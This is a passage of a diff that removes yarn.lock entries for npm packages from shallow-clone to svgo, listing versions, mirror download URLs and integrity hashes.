-  resolved "https://registry.npm.taobao.org/shallow-clone/download/shallow-clone-3.0.1.tgz#8f2981ad92531f55035b01fb230769a40e02efa3"
-  integrity sha1-jymBrZJTH1UDWwH7IwdppA4C76M=
-  dependencies:
-    kind-of "^6.0.2"
-
-shebang-command@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/shebang-command/download/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
-  dependencies:
-    shebang-regex "^1.0.0"
-
-shebang-command@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/shebang-command/download/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
-  integrity sha1-zNCvT4g1+9wmW4JGGq8MNmY/NOo=
-  dependencies:
-    shebang-regex "^3.0.0"
-
-shebang-regex@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
-
-shebang-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
-  integrity sha1-rhbxZE2HPsrYQ7AwexQzYtTEIXI=
-
-shell-quote@1.7.2:
-  version "1.7.2"
-  resolved "https://registry.npm.taobao.org/shell-quote/download/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2"
-  integrity sha1-Z6fQLHbJ2iT5nSCAj8re0ODgS+I=
-
-shellwords@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/shellwords/download/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
-  integrity sha1-1rkYHBpI05cyTISHHvvPxz/AZUs=
-
-side-channel@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/side-channel/download/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf"
-  integrity sha1-785cj9wQTudRslxY1CkAEfpeos8=
-  dependencies:
-    call-bind "^1.0.0"
-    get-intrinsic "^1.0.2"
-    object-inspect "^1.9.0"
-
-signal-exit@^3.0.0, signal-exit@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.npm.taobao.org/signal-exit/download/signal-exit-3.0.3.tgz?cache=0&sync_timestamp=1614858571178&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsignal-exit%2Fdownload%2Fsignal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
-  integrity sha1-oUEMLt2PB3sItOJTyOrPyvBXRhw=
-
-simple-swizzle@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/simple-swizzle/download/simple-swizzle-0.2.2.tgz#a4da6b635ffcccca33f70d17cb92592de95e557a"
-  integrity sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=
-  dependencies:
-    is-arrayish "^0.3.1"
-
-sisteransi@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/sisteransi/download/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
-  integrity sha1-E01oEpd1ZDfMBcoBNw06elcQde0=
-
-slash@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/slash/download/slash-1.0.0.tgz#c41f2f6c39fc16d1cd17ad4b5d896114ae470d55"
-  integrity sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=
-
-slash@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/slash/download/slash-2.0.0.tgz#de552851a1759df3a8f206535442f5ec4ddeab44"
-  integrity sha1-3lUoUaF1nfOo8gZTVEL17E3eq0Q=
-
-slash@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/slash/download/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
-  integrity sha1-ZTm+hwwWWtvVJAIg2+Nh8bxNRjQ=
-
-slice-ansi@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/slice-ansi/download/slice-ansi-2.1.0.tgz?cache=0&sync_timestamp=1618555008681&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fslice-ansi%2Fdownload%2Fslice-ansi-2.1.0.tgz#cacd7693461a637a5788d92a7dd4fba068e81636"
-  integrity sha1-ys12k0YaY3pXiNkqfdT7oGjoFjY=
-  dependencies:
-    ansi-styles "^3.2.0"
-    astral-regex "^1.0.0"
-    is-fullwidth-code-point "^2.0.0"
-
-snapdragon-node@^2.0.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/snapdragon-node/download/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
-  integrity sha1-bBdfhv8UvbByRWPo88GwIaKGhTs=
-  dependencies:
-    define-property "^1.0.0"
-    isobject "^3.0.0"
-    snapdragon-util "^3.0.1"
-
-snapdragon-util@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.nlark.com/snapdragon-util/download/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
-  integrity sha1-+VZHlIbyrNeXAGk/b3uAXkWrVuI=
-  dependencies:
-    kind-of "^3.2.0"
-
-snapdragon@^0.8.1:
-  version "0.8.2"
-  resolved "https://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
-  integrity sha1-ZJIufFZbDhQgS6GqfWlkJ40lGC0=
-  dependencies:
-    base "^0.11.1"
-    debug "^2.2.0"
-    define-property "^0.2.5"
-    extend-shallow "^2.0.1"
-    map-cache "^0.2.2"
-    source-map "^0.5.6"
-    source-map-resolve "^0.5.0"
-    use "^3.1.0"
-
-sockjs-client@1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/sockjs-client/download/sockjs-client-1.4.0.tgz?cache=0&sync_timestamp=1616686717128&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsockjs-client%2Fdownload%2Fsockjs-client-1.4.0.tgz#c9f2568e19c8fd8173b4997ea3420e0bb306c7d5"
-  integrity sha1-yfJWjhnI/YFztJl+o0IOC7MGx9U=
-  dependencies:
-    debug "^3.2.5"
-    eventsource "^1.0.7"
-    faye-websocket "~0.11.1"
-    inherits "^2.0.3"
-    json3 "^3.3.2"
-    url-parse "^1.4.3"
-
-sockjs@0.3.19:
-  version "0.3.19"
-  resolved "https://registry.nlark.com/sockjs/download/sockjs-0.3.19.tgz#d976bbe800af7bd20ae08598d582393508993c0d"
-  integrity sha1-2Xa76ACve9IK4IWY1YI5NQiZPA0=
-  dependencies:
-    faye-websocket "^0.10.0"
-    uuid "^3.0.1"
-
-sort-keys@^1.0.0:
-  version "1.1.2"
-  resolved "https://registry.nlark.com/sort-keys/download/sort-keys-1.1.2.tgz#441b6d4d346798f1b4e49e8920adfba0e543f9ad"
-  integrity sha1-RBttTTRnmPG05J6JIK37oOVD+a0=
-  dependencies:
-    is-plain-obj "^1.0.0"
-
-source-list-map@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/source-list-map/download/source-list-map-2.0.1.tgz#3993bd873bfc48479cca9ea3a547835c7c154b34"
-  integrity sha1-OZO9hzv8SEecyp6jpUeDXHwVSzQ=
-
-source-map-resolve@^0.5.0, source-map-resolve@^0.5.2:
-  version "0.5.3"
-  resolved "https://registry.npm.taobao.org/source-map-resolve/download/source-map-resolve-0.5.3.tgz#190866bece7553e1f8f267a2ee82c606b5509a1a"
-  integrity sha1-GQhmvs51U+H48mei7oLGBrVQmho=
-  dependencies:
-    atob "^2.1.2"
-    decode-uri-component "^0.2.0"
-    resolve-url "^0.2.1"
-    source-map-url "^0.4.0"
-    urix "^0.1.0"
-
-source-map-support@^0.5.6, source-map-support@~0.5.12:
-  version "0.5.19"
-  resolved "https://registry.nlark.com/source-map-support/download/source-map-support-0.5.19.tgz#a98b62f86dcaf4f67399648c085291ab9e8fed61"
-  integrity sha1-qYti+G3K9PZzmWSMCFKRq56P7WE=
-  dependencies:
-    buffer-from "^1.0.0"
-    source-map "^0.6.0"
-
-source-map-url@^0.4.0:
-  version "0.4.1"
-  resolved "https://registry.nlark.com/source-map-url/download/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56"
-  integrity sha1-CvZmBadFpaL5HPG7+KevvCg97FY=
-
-source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
-  version "0.6.1"
-  resolved "https://registry.nlark.com/source-map/download/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263"
-  integrity sha1-dHIq8y6WFOnCh6jQu95IteLxomM=
-
-source-map@^0.5.0, source-map@^0.5.6:
-  version "0.5.7"
-  resolved "https://registry.nlark.com/source-map/download/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-  integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
-
-spdx-correct@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/spdx-correct/download/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
-  integrity sha1-3s6BrJweZxPl99G28X1Gj6U9iak=
-  dependencies:
-    spdx-expression-parse "^3.0.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-exceptions@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.nlark.com/spdx-exceptions/download/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
-  integrity sha1-PyjOGnegA3JoPq3kpDMYNSeiFj0=
-
-spdx-expression-parse@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/spdx-expression-parse/download/spdx-expression-parse-3.0.1.tgz#cf70f50482eefdc98e3ce0a6833e4a53ceeba679"
-  integrity sha1-z3D1BILu/cmOPOCmgz5KU87rpnk=
-  dependencies:
-    spdx-exceptions "^2.1.0"
-    spdx-license-ids "^3.0.0"
-
-spdx-license-ids@^3.0.0:
-  version "3.0.9"
-  resolved "https://registry.nlark.com/spdx-license-ids/download/spdx-license-ids-3.0.9.tgz?cache=0&sync_timestamp=1621652583280&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fspdx-license-ids%2Fdownload%2Fspdx-license-ids-3.0.9.tgz#8a595135def9592bda69709474f1cbeea7c2467f"
-  integrity sha1-illRNd75WSvaaXCUdPHL7qfCRn8=
-
-spdy-transport@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/spdy-transport/download/spdy-transport-3.0.0.tgz#00d4863a6400ad75df93361a1608605e5dcdcf31"
-  integrity sha1-ANSGOmQArXXfkzYaFghgXl3NzzE=
-  dependencies:
-    debug "^4.1.0"
-    detect-node "^2.0.4"
-    hpack.js "^2.1.6"
-    obuf "^1.1.2"
-    readable-stream "^3.0.6"
-    wbuf "^1.7.3"
-
-spdy@^4.0.1:
-  version "4.0.2"
-  resolved "https://registry.npm.taobao.org/spdy/download/spdy-4.0.2.tgz#b74f466203a3eda452c02492b91fb9e84a27677b"
-  integrity sha1-t09GYgOj7aRSwCSSuR+56EonZ3s=
-  dependencies:
-    debug "^4.1.0"
-    handle-thing "^2.0.0"
-    http-deceiver "^1.2.7"
-    select-hose "^2.0.0"
-    spdy-transport "^3.0.0"
-
-split-string@^3.0.1, split-string@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/split-string/download/split-string-3.1.0.tgz#7cb09dda3a86585705c64b39a6466038682e8fe2"
-  integrity sha1-fLCd2jqGWFcFxks5pkZgOGguj+I=
-  dependencies:
-    extend-shallow "^3.0.0"
-
-sprintf-js@~1.0.2:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/sprintf-js/download/sprintf-js-1.0.3.tgz?cache=0&sync_timestamp=1618847174560&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsprintf-js%2Fdownload%2Fsprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
-  integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
-
-sshpk@^1.7.0:
-  version "1.16.1"
-  resolved "https://registry.npm.taobao.org/sshpk/download/sshpk-1.16.1.tgz#fb661c0bef29b39db40769ee39fa70093d6f6877"
-  integrity sha1-+2YcC+8ps520B2nuOfpwCT1vaHc=
-  dependencies:
-    asn1 "~0.2.3"
-    assert-plus "^1.0.0"
-    bcrypt-pbkdf "^1.0.0"
-    dashdash "^1.12.0"
-    ecc-jsbn "~0.1.1"
-    getpass "^0.1.1"
-    jsbn "~0.1.0"
-    safer-buffer "^2.0.2"
-    tweetnacl "~0.14.0"
-
-ssri@^6.0.1:
-  version "6.0.2"
-  resolved "https://registry.nlark.com/ssri/download/ssri-6.0.2.tgz?cache=0&sync_timestamp=1621364626710&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fssri%2Fdownload%2Fssri-6.0.2.tgz#157939134f20464e7301ddba3e90ffa8f7728ac5"
-  integrity sha1-FXk5E08gRk5zAd26PpD/qPdyisU=
-  dependencies:
-    figgy-pudding "^3.5.1"
-
-ssri@^7.0.0:
-  version "7.1.1"
-  resolved "https://registry.nlark.com/ssri/download/ssri-7.1.1.tgz?cache=0&sync_timestamp=1621364626710&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fssri%2Fdownload%2Fssri-7.1.1.tgz#33e44f896a967158e3c63468e47ec46613b95b5f"
-  integrity sha1-M+RPiWqWcVjjxjRo5H7EZhO5W18=
-  dependencies:
-    figgy-pudding "^3.5.1"
-    minipass "^3.1.1"
-
-stable@^0.1.8:
-  version "0.1.8"
-  resolved "https://registry.npm.taobao.org/stable/download/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf"
-  integrity sha1-g26zyDgv4pNv6vVEYxAXzn1Ho88=
-
-stack-utils@^1.0.1:
-  version "1.0.5"
-  resolved "https://registry.nlark.com/stack-utils/download/stack-utils-1.0.5.tgz#a19b0b01947e0029c8e451d5d61a498f5bb1471b"
-  integrity sha1-oZsLAZR+ACnI5FHV1hpJj1uxRxs=
-  dependencies:
-    escape-string-regexp "^2.0.0"
-
-static-extend@^0.1.1:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/static-extend/download/static-extend-0.1.2.tgz#60809c39cbff55337226fd5e0b520f341f1fb5c6"
-  integrity sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=
-  dependencies:
-    define-property "^0.2.5"
-    object-copy "^0.1.0"
-
-"statuses@>= 1.4.0 < 2", "statuses@>= 1.5.0 < 2", statuses@~1.5.0:
-  version "1.5.0"
-  resolved "https://registry.npm.taobao.org/statuses/download/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c"
-  integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=
-
-stealthy-require@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/stealthy-require/download/stealthy-require-1.1.1.tgz#35b09875b4ff49f26a777e509b3090a3226bf24b"
-  integrity sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=
-
-stream-browserify@^2.0.1:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/stream-browserify/download/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b"
-  integrity sha1-h1IdOKRKp+6RzhzSpH3wy0ndZgs=
-  dependencies:
-    inherits "~2.0.1"
-    readable-stream "^2.0.2"
-
-stream-each@^1.1.0:
-  version "1.2.3"
-  resolved "https://registry.npm.taobao.org/stream-each/download/stream-each-1.2.3.tgz#ebe27a0c389b04fbcc233642952e10731afa9bae"
-  integrity sha1-6+J6DDibBPvMIzZClS4Qcxr6m64=
-  dependencies:
-    end-of-stream "^1.1.0"
-    stream-shift "^1.0.0"
-
-stream-http@^2.7.2:
-  version "2.8.3"
-  resolved "https://registry.npm.taobao.org/stream-http/download/stream-http-2.8.3.tgz?cache=0&sync_timestamp=1618430946341&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstream-http%2Fdownload%2Fstream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc"
-  integrity sha1-stJCRpKIpaJ+xP6JM6z2I95lFPw=
-  dependencies:
-    builtin-status-codes "^3.0.0"
-    inherits "^2.0.1"
-    readable-stream "^2.3.6"
-    to-arraybuffer "^1.0.0"
-    xtend "^4.0.0"
-
-stream-shift@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/stream-shift/download/stream-shift-1.0.1.tgz#d7088281559ab2778424279b0877da3c392d5a3d"
-  integrity sha1-1wiCgVWasneEJCebCHfaPDktWj0=
-
-strict-uri-encode@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.npm.taobao.org/strict-uri-encode/download/strict-uri-encode-1.1.0.tgz#279b225df1d582b1f54e65addd4352e18faa0713"
-  integrity sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=
-
-string-length@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/string-length/download/string-length-2.0.0.tgz?cache=0&sync_timestamp=1622904918319&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstring-length%2Fdownload%2Fstring-length-2.0.0.tgz#d40dbb686a3ace960c1cffca562bf2c45f8363ed"
-  integrity sha1-1A27aGo6zpYMHP/KVivyxF+DY+0=
-  dependencies:
-    astral-regex "^1.0.0"
-    strip-ansi "^4.0.0"
-
-string-length@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/string-length/download/string-length-3.1.0.tgz?cache=0&sync_timestamp=1622904918319&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstring-length%2Fdownload%2Fstring-length-3.1.0.tgz#107ef8c23456e187a8abd4a61162ff4ac6e25837"
-  integrity sha1-EH74wjRW4Yeoq9SmEWL/SsbiWDc=
-  dependencies:
-    astral-regex "^1.0.0"
-    strip-ansi "^5.2.0"
-
-string-width@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/string-width/download/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3"
-  integrity sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=
-  dependencies:
-    code-point-at "^1.0.0"
-    is-fullwidth-code-point "^1.0.0"
-    strip-ansi "^3.0.0"
-
-string-width@^2.0.0, string-width@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/string-width/download/string-width-2.1.1.tgz#ab93f27a8dc13d28cac815c462143a6d9012ae9e"
-  integrity sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=
-  dependencies:
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^4.0.0"
-
-string-width@^3.0.0, string-width@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/string-width/download/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
-  integrity sha1-InZ74htirxCBV0MG9prFG2IgOWE=
-  dependencies:
-    emoji-regex "^7.0.1"
-    is-fullwidth-code-point "^2.0.0"
-    strip-ansi "^5.1.0"
-
-string-width@^4.1.0:
-  version "4.2.2"
-  resolved "https://registry.nlark.com/string-width/download/string-width-4.2.2.tgz#dafd4f9559a7585cfba529c6a0a4f73488ebd4c5"
-  integrity sha1-2v1PlVmnWFz7pSnGoKT3NIjr1MU=
-  dependencies:
-    emoji-regex "^8.0.0"
-    is-fullwidth-code-point "^3.0.0"
-    strip-ansi "^6.0.0"
-
-string.prototype.matchall@^4.0.2:
-  version "4.0.5"
-  resolved "https://registry.nlark.com/string.prototype.matchall/download/string.prototype.matchall-4.0.5.tgz#59370644e1db7e4c0c045277690cf7b01203c4da"
-  integrity sha1-WTcGROHbfkwMBFJ3aQz3sBIDxNo=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.2"
-    get-intrinsic "^1.1.1"
-    has-symbols "^1.0.2"
-    internal-slot "^1.0.3"
-    regexp.prototype.flags "^1.3.1"
-    side-channel "^1.0.4"
-
-string.prototype.trimend@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/string.prototype.trimend/download/string.prototype.trimend-1.0.4.tgz?cache=0&sync_timestamp=1614127461586&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring.prototype.trimend%2Fdownload%2Fstring.prototype.trimend-1.0.4.tgz#e75ae90c2942c63504686c18b287b4a0b1a45f80"
-  integrity sha1-51rpDClCxjUEaGwYsoe0oLGkX4A=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-string.prototype.trimstart@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/string.prototype.trimstart/download/string.prototype.trimstart-1.0.4.tgz?cache=0&sync_timestamp=1614127357785&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring.prototype.trimstart%2Fdownload%2Fstring.prototype.trimstart-1.0.4.tgz#b36399af4ab2999b4c9c648bd7a3fb2bb26feeed"
-  integrity sha1-s2OZr0qymZtMnGSL16P7K7Jv7u0=
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-
-string_decoder@^1.0.0, string_decoder@^1.1.1:
-  version "1.3.0"
-  resolved "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e"
-  integrity sha1-QvEUWUpGzxqOMLCoT1bHjD7awh4=
-  dependencies:
-    safe-buffer "~5.2.0"
-
-string_decoder@~1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8"
-  integrity sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=
-  dependencies:
-    safe-buffer "~5.1.0"
-
-stringify-object@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.npm.taobao.org/stringify-object/download/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629"
-  integrity sha1-cDBlrvyhkwDTzoivT1s5VtdVZik=
-  dependencies:
-    get-own-enumerable-property-symbols "^3.0.0"
-    is-obj "^1.0.1"
-    is-regexp "^1.0.0"
-
-strip-ansi@6.0.0, strip-ansi@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-6.0.0.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532"
-  integrity sha1-CxVx3XZpzNTz4G4U7x7tJiJa5TI=
-  dependencies:
-    ansi-regex "^5.0.0"
-
-strip-ansi@^3.0.0, strip-ansi@^3.0.1:
-  version "3.0.1"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf"
-  integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=
-  dependencies:
-    ansi-regex "^2.0.0"
-
-strip-ansi@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-4.0.0.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-4.0.0.tgz#a8479022eb1ac368a871389b635262c505ee368f"
-  integrity sha1-qEeQIusaw2iocTibY1JixQXuNo8=
-  dependencies:
-    ansi-regex "^3.0.0"
-
-strip-ansi@^5.0.0, strip-ansi@^5.1.0, strip-ansi@^5.2.0:
-  version "5.2.0"
-  resolved "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-5.2.0.tgz?cache=0&sync_timestamp=1618553320591&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstrip-ansi%2Fdownload%2Fstrip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
-  integrity sha1-jJpTb+tq/JYr36WxBKUJHBrZwK4=
-  dependencies:
-    ansi-regex "^4.1.0"
-
-strip-bom@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/strip-bom/download/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3"
-  integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM=
-
-strip-comments@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.npm.taobao.org/strip-comments/download/strip-comments-1.0.2.tgz#82b9c45e7f05873bee53f37168af930aa368679d"
-  integrity sha1-grnEXn8FhzvuU/NxaK+TCqNoZ50=
-  dependencies:
-    babel-extract-comments "^1.0.0"
-    babel-plugin-transform-object-rest-spread "^6.26.0"
-
-strip-eof@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/strip-eof/download/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf"
-  integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=
-
-strip-indent@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/strip-indent/download/strip-indent-3.0.0.tgz?cache=0&sync_timestamp=1620053310624&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstrip-indent%2Fdownload%2Fstrip-indent-3.0.0.tgz#c32e1cee940b6b3432c771bc2c54bcce73cd3001"
-  integrity sha1-wy4c7pQLazQyx3G8LFS8znPNMAE=
-  dependencies:
-    min-indent "^1.0.0"
-
-strip-json-comments@^3.0.1:
-  version "3.1.1"
-  resolved "https://registry.npm.taobao.org/strip-json-comments/download/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
-  integrity sha1-MfEoGzgyYwQ0gxwxDAHMzajL4AY=
-
-style-loader@0.23.1:
-  version "0.23.1"
-  resolved "https://registry.npm.taobao.org/style-loader/download/style-loader-0.23.1.tgz?cache=0&sync_timestamp=1602248048594&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstyle-loader%2Fdownload%2Fstyle-loader-0.23.1.tgz#cb9154606f3e771ab6c4ab637026a1049174d925"
-  integrity sha1-y5FUYG8+dxq2xKtjcCahBJF02SU=
-  dependencies:
-    loader-utils "^1.1.0"
-    schema-utils "^1.0.0"
-
-stylehacks@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/stylehacks/download/stylehacks-4.0.3.tgz?cache=0&sync_timestamp=1621449652268&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fstylehacks%2Fdownload%2Fstylehacks-4.0.3.tgz#6718fcaf4d1e07d8a1318690881e8d96726a71d5"
-  integrity sha1-Zxj8r00eB9ihMYaQiB6NlnJqcdU=
-  dependencies:
-    browserslist "^4.0.0"
-    postcss "^7.0.0"
-    postcss-selector-parser "^3.0.0"
-
-supports-color@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-2.0.0.tgz?cache=0&sync_timestamp=1622293670728&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7"
-  integrity sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=
-
-supports-color@^5.3.0:
-  version "5.5.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1622293670728&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
-  integrity sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=
-  dependencies:
-    has-flag "^3.0.0"
-
-supports-color@^6.1.0:
-  version "6.1.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-6.1.0.tgz?cache=0&sync_timestamp=1622293670728&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3"
-  integrity sha1-B2Srxpxj1ayELdSGfo0CXogN+PM=
-  dependencies:
-    has-flag "^3.0.0"
-
-supports-color@^7.0.0, supports-color@^7.1.0:
-  version "7.2.0"
-  resolved "https://registry.nlark.com/supports-color/download/supports-color-7.2.0.tgz?cache=0&sync_timestamp=1622293670728&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fsupports-color%2Fdownload%2Fsupports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
-  integrity sha1-G33NyzK4E4gBs+R4umpRyqiWSNo=
-  dependencies:
-    has-flag "^4.0.0"
-
-svg-parser@^2.0.0:
-  version "2.0.4"
-  resolved "https://registry.npm.taobao.org/svg-parser/download/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5"
-  integrity sha1-/cLinhOVFzYUC3bLEiyO5mMOtrU=
-
-svgo@^1.0.0, svgo@^1.2.2:
-  version "1.3.2"
-  resolved "https://registry.nlark.com/svgo/download/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167"
-  integrity sha1-ttxRHAYzRsnkFbgeQ0ARRbltQWc=
-  dependencies:
-    chalk "^2.4.1"
